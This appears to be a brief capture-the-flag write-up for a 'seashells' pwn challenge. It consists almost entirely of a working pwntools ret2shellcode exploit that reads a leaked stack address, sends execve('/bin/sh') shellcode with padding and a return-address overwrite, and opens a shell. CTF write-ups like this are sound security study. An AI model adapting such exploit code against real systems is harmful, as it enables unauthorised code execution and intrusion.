Tags: pwn ret2shellcode
Rating:
Basic Ret2Shellcode
The first line is providing Stack Leak
Note :- I did not play this CTF, Just looked into challenges after the CTF is ended
```CSS
#!/usr/bin/python
from pwn import *
context(os='linux',arch='amd64')
context.log_level = 'INFO'
context(terminal=['tmux','new-window'])
p = process('./seashells')
#p = gdb.debug('./seashells','b main')
e = ELF('./seashells')
stack_leak = int(p.recvline().strip().ljust(8,'\x00'),16)
print hex(stack_leak)
shellcode = asm(shellcraft.amd64.execve('/bin/sh','0','0'))
JUNK = (136 - len(shellcode)) * "A"
payload = shellcode + JUNK + p64(stack_leak)
sleep(1)
p.sendline(payload)
p.interactive()
```